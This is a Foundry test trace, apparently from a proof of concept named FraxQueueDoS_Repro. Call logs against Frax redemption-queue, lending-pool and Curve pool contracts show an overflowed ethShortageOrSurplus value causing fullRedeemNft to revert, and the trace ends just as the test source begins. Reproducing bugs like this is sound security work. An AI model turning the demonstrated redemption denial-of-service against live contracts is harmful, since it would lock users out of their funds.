│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(1) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [838] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::ethShortageOrSurplus() [staticcall]
│ │ │ └─ ← [Return] 0
│ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000069332def0000000000000000000000000000000000000000000000000000000012dd510c00000000000000000000000000000000000000000000000000000000bca52a7800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ ├─ emit Transfer(param0: 0x0000000000000000000000000000000000000000, param1: 0x000000000000000000000000000000000000cafE, param2: 30)
│ ├─ emit topic 0: 0x9f1fb12bdb3412f034e43c980b054581eec758481032f7d414831dd45ed99313
│ │ topic 1: 0x000000000000000000000000000000000000000000000000000000000000001e
│ │ topic 2: 0x000000000000000000000000000000000000000000000000000000000000cafe
│ │ topic 3: 0x000000000000000000000000000000000000000000000000000000000000cafe
│ │ data: 0x0000000000000000000000000000000000000000000000056bc75e2d63100000000000000000000000000000000000000000000000000000000000006e5989ef0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000026792e77ac61bd4fc8
│ ├─ [391] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::lendingPool() [staticcall]
│ │ └─ ← [Return] 0x00000000000000000000000024a1d1671a3bd1c3cabb9b10724a4127d84e1da0
│ ├─ [68169] 0x24A1d1671a3Bd1C3cABb9B10724a4127d84e1Da0::updateUtilization()
│ │ ├─ [44642] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::getConsolidatedEthFrxEthBalance(true, true)
│ │ │ ├─ [405] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::amoHelper() [staticcall]
│ │ │ │ └─ ← [Return] 0x000000000000000000000000823f92b5ff0062edc20f0545ec88f2f3c273ccbd
│ │ │ ├─ [36618] 0x823F92b5fF0062EDc20F0545ec88f2f3c273cCbd::getConsolidatedEthFrxEthBalancePacked(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ ├─ [449] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::poolAddress() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc
│ │ │ │ ├─ [3778] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::getFullPoolInfo() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fafde12dc476c4913e29f47b4747860c148c5e4f000000000000000000000000ddcb7f0f73e55db95a9bc8f91476136a33d682810000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000005e8422345238f34275888049021821e8e08caa1f00000000000000000000000000000000000000000000000000000000000000db000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054b40b1f852bda00000
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(0) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(1) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1618] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ ├─ [1446] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [510] 0xFafDE12dC476C4913e29F47B4747860C148c5E4f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [569] 0xddCB7f0F73e55db95a9Bc8F91476136A33D68281::stakingAddress() [staticcall]
│ │ │ │ │ ├─ [403] 0x7D54C53e6940E88a7ac1970490DAFbBF85D982f4::stakingAddress() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ ├─ [602] 0xB4fdD7444E1d86b2035c97124C46b1528802DA35::lockedLiquidityOf(0xddCB7f0F73e55db95a9Bc8F91476136A33D68281) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1555] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::totalSupply() [staticcall]
│ │ │ │ │ ├─ [1389] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::totalSupply() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ ├─ [6299] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::get_virtual_price() [staticcall]
│ │ │ │ │ ├─ [6133] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::get_virtual_price() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(0) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(1) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [911] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::ethShortageOrSurplus() [staticcall]
│ │ │ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039357584007913129639936 [1.157e77]
│ │ └─ ← [Stop]
│ ├─ [30524] 0x5E8422345238F34275888049021821E8E08CAa1f::transferFrom(0x000000000000000000000000000000000000cafE, 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, 100000000000000000000 [1e20])
│ │ ├─ emit Approval(param0: 0x000000000000000000000000000000000000cafE, param1: 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, param2: 0)
│ │ ├─ emit Transfer(param0: 0x000000000000000000000000000000000000cafE, param1: 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b, param2: 100000000000000000000 [1e20])
│ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ └─ ← [Return] 30
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(1851361776 [1.851e9])
│ └─ ← [Return]
├─ [0] VM::prank(0x000000000000000000000000000000000000cafE)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [110098] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::fullRedeemNft(30, 0x000000000000000000000000000000000000cafE)
│ ├─ [391] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::lendingPool() [staticcall]
│ │ └─ ← [Return] 0x00000000000000000000000024a1d1671a3bd1c3cabb9b10724a4127d84e1da0
│ ├─ [59140] 0x24A1d1671a3Bd1C3cABb9B10724a4127d84e1Da0::addInterestPrivileged(false)
│ │ ├─ [2392] 0x2fA48925696EbBF1F4Fc08228dA06021f1806544::getNewRate(86400001 [8.64e7], 100000 [1e5], 3164940920 [3.164e9]) [staticcall]
│ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000000000001712f3c6463000000000000000000000000000000000000000000000000000001712f3c6463
│ │ ├─ emit UpdateRate(: 316494092 [3.164e8], : 3164940920 [3.164e9], : 1585635419235 [1.585e12], : 1585635419235 [1.585e12])
│ │ ├─ emit AddInterest(: 7974752719054 [7.974e12], : 1585635419235 [1.585e12], : 0, : 0)
│ │ ├─ [44642] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::getConsolidatedEthFrxEthBalance(true, true)
│ │ │ ├─ [405] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::amoHelper() [staticcall]
│ │ │ │ └─ ← [Return] 0x000000000000000000000000823f92b5ff0062edc20f0545ec88f2f3c273ccbd
│ │ │ ├─ [36618] 0x823F92b5fF0062EDc20F0545ec88f2f3c273cCbd::getConsolidatedEthFrxEthBalancePacked(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ ├─ [449] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::poolAddress() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc
│ │ │ │ ├─ [3778] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::getFullPoolInfo() [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fafde12dc476c4913e29f47b4747860c148c5e4f000000000000000000000000ddcb7f0f73e55db95a9bc8f91476136a33d682810000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000005e8422345238f34275888049021821e8e08caa1f00000000000000000000000000000000000000000000000000000000000000db000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054b40b1f852bda00000
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(0) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(1) [staticcall]
│ │ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1618] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ ├─ [1446] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [510] 0xFafDE12dC476C4913e29F47B4747860C148c5E4f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [569] 0xddCB7f0F73e55db95a9Bc8F91476136A33D68281::stakingAddress() [staticcall]
│ │ │ │ │ ├─ [403] 0x7D54C53e6940E88a7ac1970490DAFbBF85D982f4::stakingAddress() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ ├─ [602] 0xB4fdD7444E1d86b2035c97124C46b1528802DA35::lockedLiquidityOf(0xddCB7f0F73e55db95a9Bc8F91476136A33D68281) [staticcall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ ├─ [1555] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::totalSupply() [staticcall]
│ │ │ │ │ ├─ [1389] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::totalSupply() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ ├─ [6299] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::get_virtual_price() [staticcall]
│ │ │ │ │ ├─ [6133] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::get_virtual_price() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(0) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(0) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(1) [staticcall]
│ │ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(1) [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ ├─ [911] 0xfDC69e6BE352BD5644C438302DE4E311AAD5565b::ethShortageOrSurplus() [staticcall]
│ │ │ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039357584007913129639936 [1.157e77]
│ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000740c44d90ce00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006e5989f0000000000000000000000000000000000000000000000000000001712f3c6463000000000000000000000000000000000000000000000000000001712f3c646300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ ├─ [42582] 0x5acAf61d339dd123e60ba450Ea38fbC49445007C::getConsolidatedEthFrxEthBalanceView(true) [staticcall]
│ │ ├─ [405] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::amoHelper() [staticcall]
│ │ │ └─ ← [Return] 0x000000000000000000000000823f92b5ff0062edc20f0545ec88f2f3c273ccbd
│ │ ├─ [36618] 0x823F92b5fF0062EDc20F0545ec88f2f3c273cCbd::getConsolidatedEthFrxEthBalancePacked(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ ├─ [449] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::poolAddress() [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc
│ │ │ ├─ [3778] 0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae::getFullPoolInfo() [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fafde12dc476c4913e29f47b4747860c148c5e4f000000000000000000000000ddcb7f0f73e55db95a9bc8f91476136a33d682810000000000000000000000009c3b46c0ceb5b9e304fcd6d88fc50f7dd24b31bc000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000005e8422345238f34275888049021821e8e08caa1f00000000000000000000000000000000000000000000000000000000000000db000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054b40b1f852bda00000
│ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(0) [staticcall]
│ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(0) [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ │ └─ ← [Return] 0x000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
│ │ │ ├─ [534] 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [1293] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::coins(1) [staticcall]
│ │ │ │ ├─ [1121] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::coins(1) [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ │ └─ ← [Return] 0x0000000000000000000000005e8422345238f34275888049021821e8e08caa1f
│ │ │ ├─ [629] 0x5E8422345238F34275888049021821E8E08CAa1f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [1618] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ ├─ [1446] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [510] 0xFafDE12dC476C4913e29F47B4747860C148c5E4f::balanceOf(0xEcb9bBb97BD3C23e8f176075EDB3c68B9a1869Ae) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [569] 0xddCB7f0F73e55db95a9Bc8F91476136A33D68281::stakingAddress() [staticcall]
│ │ │ │ ├─ [403] 0x7D54C53e6940E88a7ac1970490DAFbBF85D982f4::stakingAddress() [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ │ └─ ← [Return] 0x000000000000000000000000b4fdd7444e1d86b2035c97124c46b1528802da35
│ │ │ ├─ [602] 0xB4fdD7444E1d86b2035c97124C46b1528802DA35::lockedLiquidityOf(0xddCB7f0F73e55db95a9Bc8F91476136A33D68281) [staticcall]
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000000
│ │ │ ├─ [1555] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::totalSupply() [staticcall]
│ │ │ │ ├─ [1389] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::totalSupply() [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000e01a4e695a8c7a77b8
│ │ │ ├─ [6299] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::get_virtual_price() [staticcall]
│ │ │ │ ├─ [6133] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::get_virtual_price() [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000df0898792b66ccf
│ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(0) [staticcall]
│ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(0) [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000015f8697ad4a28de252
│ │ │ ├─ [1316] 0x9c3B46C0Ceb5B9e304FCd6D88Fc50f7DD24B31Bc::balances(1) [staticcall]
│ │ │ │ ├─ [1144] 0x67fe41A94e779CcFa22cff02cc2957DC9C0e4286::balances(1) [delegatecall]
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000cb564e4ec2209404ae
│ │ │ └─ ← [Return] 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ │ └─ ← [Return] 0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009980654c12f47a3000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
│ └─ ← [Revert] custom error 0x4332a042: 0000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000000009980654c12f47a30
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 18.53s (17.40s CPU time)
Ran 1 test suite in 18.58s (18.53s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
FraxQueueDoS_Repro.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
interface IRedemptionQueue {
